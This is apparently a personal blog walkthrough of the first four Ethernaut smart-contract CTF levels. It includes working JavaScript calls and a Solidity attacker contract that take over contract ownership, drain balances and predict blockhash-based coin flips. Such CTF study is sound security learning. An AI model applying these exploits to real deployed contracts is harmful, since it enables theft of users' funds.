Ethernaut Walkthrough - Part 1
Tags: web3, solidity, ethereum
Published: 2023-04-20 17:45:28

Hello I am YesYouKen, this is my first time writing a walkthrough and I am just going to write as things come. Enjoy! And, I hope this helps!

Each level gets its own section and I will talk about how I get to the answer but if you want to go to the hint or the answer they are at the end of each section. 


## Levels
### 1. Hello Ethernaut

This one is easy. Just got to go through everything.

Take a longer look at the `contract` object to see if anything shouts password

Solution:  {% spoiler how to get the password %}`contract.password()`{% endspoiler %}

### 2. Fallback
Our goal is to call `contract.withdraw` to get all the balance in the smart contract account

1. Notice the `onlyOwner` modifier
	 - it prevents anyone other than the owner from calling `contract.withdraw` 
	 - this is where I found out more about modifiers [What are solidity modifiers?](#References)
2. There are two lines in the smart contract that allows us to change the owner of the smart contract with the following line
   `owner = msg.sender;`
   - in `contribute` and `receive` 
3. Notice that `receive` looks a little different from other function. Did some research and found out that `receive() external payable` is a fallback function that is called "if Ether are sent to the contract and no calldata are provided"  [(ref.1)](#^ref1)

There are two possible solutions
{% spoiler Solution A %}
```javascript
// There are two answers

// Either do this multiple times, 
await contract.contribute({value: toWei('0.0009')})
// until we have contributed more the owner
await contract.withdraw()
```
{% endspoiler %}
{% spoiler Solution B %}
```javascript
await contract.contribute({value: toWei('0.00001')})
await contract.sendTransaction({value: toWei('0.00001')})
await contract.withdraw()
```
{% endspoiler %}

### 3. Fallout
Once again, same goal become the owner of the contract.

#### Solution
1. Notice that there is only one function that allows change of `owner` which is `Fallout`
2. Tries to call `contract.Fallout` but realised it is undefined.
3. then notice the typo it is actually `Fal1out` , the second `l` is actually a `1`
4. Just call the following and you will become the owner
```javascript
await contract.Fal1out()
```
#### Takeaways
- Turns out that it has to be a typo else the challenge will not work, the challenge simulates a typo where the constructors is misnamed and became a public function instead. 
- Seems like a bad idea to even define constructors by the contract name, note to myself, maybe just use the `constructor` keyword?

### 4. Coin Flip
We need to rack up some consecutive wins by making the right guesses.

I faced a few hiccups here. 
1. I tried to be fancy here and did a `for-loop` only to realised that the challenge prevents that with the following
```solidity
uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); }
```
  it will error out with `execution reverted` [example transaction](https://sepolia.etherscan.io/tx/0xe3f8500ee187297c0f4dc29e95fbcc0497758b4084880a0f68572cbffb23e539)
{% spoiler Solution %}
```solidity

pragma solidity >=0.8.2 <0.9.0;  

contract CoinFlipCheater {
	CoinFlip coinflip;
	uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
	constructor(address a) {
		coinflip = CoinFlip(a);
	}
	
	function guess(uint times) external {
			uint256 blockValue = uint256(blockhash(block.number - 1));
			uint256 coinFlip = blockValue / FACTOR;
			bool side = coinFlip == 1 ? true : false;
			coinflip.flip(side);
	}
}

interface CoinFlip {
	function flip(bool _guess) external returns (bool);
}
```
{% endspoiler %}
#### Takeaways
- `external` is like `public` but cannot be called internally


## References 
1. https://blog.soliditylang.org/2020/03/26/fallback-receive-split/ ^ref1
2. https://www.freecodecamp.org/news/what-are-solidity-modifiers ^ref2